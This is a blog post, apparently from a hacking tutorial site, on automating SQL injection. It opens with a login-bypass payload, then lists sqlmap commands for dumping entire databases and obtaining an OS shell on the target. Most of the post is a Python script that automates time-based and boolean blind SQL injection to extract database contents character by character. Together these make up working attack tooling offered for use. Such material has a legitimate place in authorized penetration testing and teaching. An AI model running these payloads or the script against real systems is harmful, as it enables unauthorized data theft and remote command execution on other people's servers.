Automating SQLi with SQLmap and custom code

Automating SQLi with SQLmap and custom code.

Hello guys, I Saitleop and its my first blog on Techyrick, thanks to him first of all for giving this stage to me, you might have seen me on Twitter or Medium with my tips & tricks. Unlike my medium I will be posting some advanced stuff here, based on bug bounties, red teaming, code review and other things I keep learning. So without any further delay let’s beginnnnn.

What is a SQli first of all??

So a SQL (Structured Query Language) Injection is a type of web security vulnerability, usually found in input points, where we inject a malicious piece of code instead of the intended input, for example

Login page

This is a simple login page where we usually put our ID and password, login and enjoy, and the vulnerable backend read its something like this.

SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'"

but what if I put something like this in the password or username field….

' OR 1=1--#

The backend gets tricked and logs us in without entering the actual password.

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'password'

Now I wont be telling all about SQLi as this wasn’t meant to be so, but if you are a beginner you can learn more from here

https://portswigger.net/web-security/sql-injection

Now as an intermediate hacker you might be knowing that some types of SQLi are very difficult to exploit manually and as a hacker we have 0% time to waste so we automate the tedious tasks.

Automating with SQLmap

So SQLmap is a tool used for automating SQLi you either download it locally using your package manager, and also from here, sqlmap

Some important commands to test for SQLi with sqlmap.

To open help manual

sqlmap -h

To test with a URL

sqlmap -u <https://url>

While this sqlmap asks a lot of questions if you want to suppress it run it with –batch

After we have found a vulnerability we can enumerate data from the database by running.

sqlmap -u <https://url> --dbs --tables --dump

If you want to dump everything from the database simply run

sqlmap -u <https://url> --dump-all

Sometimes when SQLi are severe we can get execute system commands on the target and eventually get an RCE

sqlmap -u <https://url> --os-shell

You can also run sqlmap through a request by simply capturing the request from burp or any other intercepting proxy and run..

sqlmap -r <absolute path of file> --batch

Usually sqlmap runs by a specific level and tries all techniques initially but you can customise it according to your specific target, usually the techniques are depicted as abbreviation as their first letter

  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries
sqlmap -u <https://url> --level <1-5> --risk <1-5> --technique=BEU

Finally if you want to pass your commands and what to see whats going at the backend you can use it with a proxy such as burpsuite

sqlmap -u <https://url> --proxy=http://127.0.0.1:8080/

BONUS: like the usual databases, nowadays we are seeing a lot of NoSQL databases for that we can use tools like nosqlmap.

Automating blind SQLi with Python

This section will take you through a python script that we use to automate Blind SQLi

Lets import some libraries first

import requests, time, urllib3
from termcolor import colored, cprint
from urllib.parse import quote

Next lets ask the user what type of Blind SQLi he wants to test

while True: 
    Method = input('SQLi type [T/B]: ') #T: Time-Based Blind SQLi, B: Boolean Blind SQLi
    queryInput = input('SQL query: ')
    if("*" not in queryInput):
        break
    print("Please specify a column name!")

Next we define our main function

def getQueryOutput(query, rowNumber=0, count=False):
    global TIME
    flag = True
    queryOutput = ""
    tempQueryOutput = ""

    if(count):
        dictionary = "0123456789"
    else:
        dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"

    while flag:
        flag = False
        for j in range(1, 1000):
            for i in range(0, len(dictionary)):
                tempQueryOutput = queryOutput + dictionary[i]
                colorPrintAttempt(tempQueryOutput)
                if(Method == 'T'):
                    if(count):
                        payload = "' AND IF(MID((select count(*) from (%s) as totalCount),%s,1)='%s',SLEEP(%s),0)--+" % (query, str(j), quote(dictionary[i]), str(TIME))
                        print("\nGetting rows count...\n")
                    else:
                        payload = "' AND IF(MID((%s limit %s,1),%s,1)='%s',SLEEP(%s),0)--+" % (query, rowNumber, str(j), quote(dictionary[i]), str(TIME))
                        print("\nScanning row %s/%s...\n"%((rowNumber+1),totalRows))
                    fullurl = url+payload
                    startTime = time.time()
                    r = session.get(fullurl,verify=False)
                    elapsedTime = time.time() - startTime
                    if elapsedTime >= TIME:
                        flag = True
                        break
                elif(Method == 'B'):
                    if(count):
                        payload = "' AND (MID((select count(*) from (%s) as totalCount),%s,1))!='%s'--+" % (query, str(j), quote(dictionary[i]))
                        print("\nGetting rows count...\n")
                    else:
                        payload = "' AND (MID((%s limit %s,1),%s,1))!='%s'--+" % (query, rowNumber, str(j), quote(dictionary[i]))
                        print("\nScanning row %s/%s...\n"%((rowNumber+1),totalRows))
                    fullurl = url+payload
                    r = session.get(url+payload,verify=False)
                    currentLength = int(r.headers['Content-Length'])
                    if(currentLength != defaultLength):
                        flag = True
                        break
                flag = False
            if flag:
                queryOutput = tempQueryOutput
                continue
            break
    return queryOutput

Here we first define some variables, for testing purpose we define variable count and dictionary, this will be further sent with the request and if there is an error in the response we will start iterating and sending some defined payloads above.

Now we simply print the affected rows with some colour design in them 🙂

totalRows = int(getQueryOutput(queryInput,0,True))
output = "\nTotal rows: %s\n"%(totalRows)
colorPrint()

for i in range(0, totalRows):
    currentOutput = getQueryOutput(queryInput,i)
    output += '\n[+] Query output: ' + currentOutput
    totalOutput = output +"\n"
    colorPrint()

if(totalRows>1):
    print('\n[+] All rows:\n')
    output = totalOutput
    colorPrint()

Credits to 21y4d for this awesome script, kuddos to him 😉

The actual script can be found here.

Thank you for reading guys, hope you enjoyed my blog, see you next time, till then

PEACE OUTTTT.

Ads Blocker Image Powered by Code Help Pro

Ads Blocker Detected!!!

We have detected that you are using extensions or brave browser to block ads. Please support us by disabling these ads blocker.Our website is made possible by displaying Ads hope you whitelist our site. We use very minimal Ads in our site

 

Scroll to Top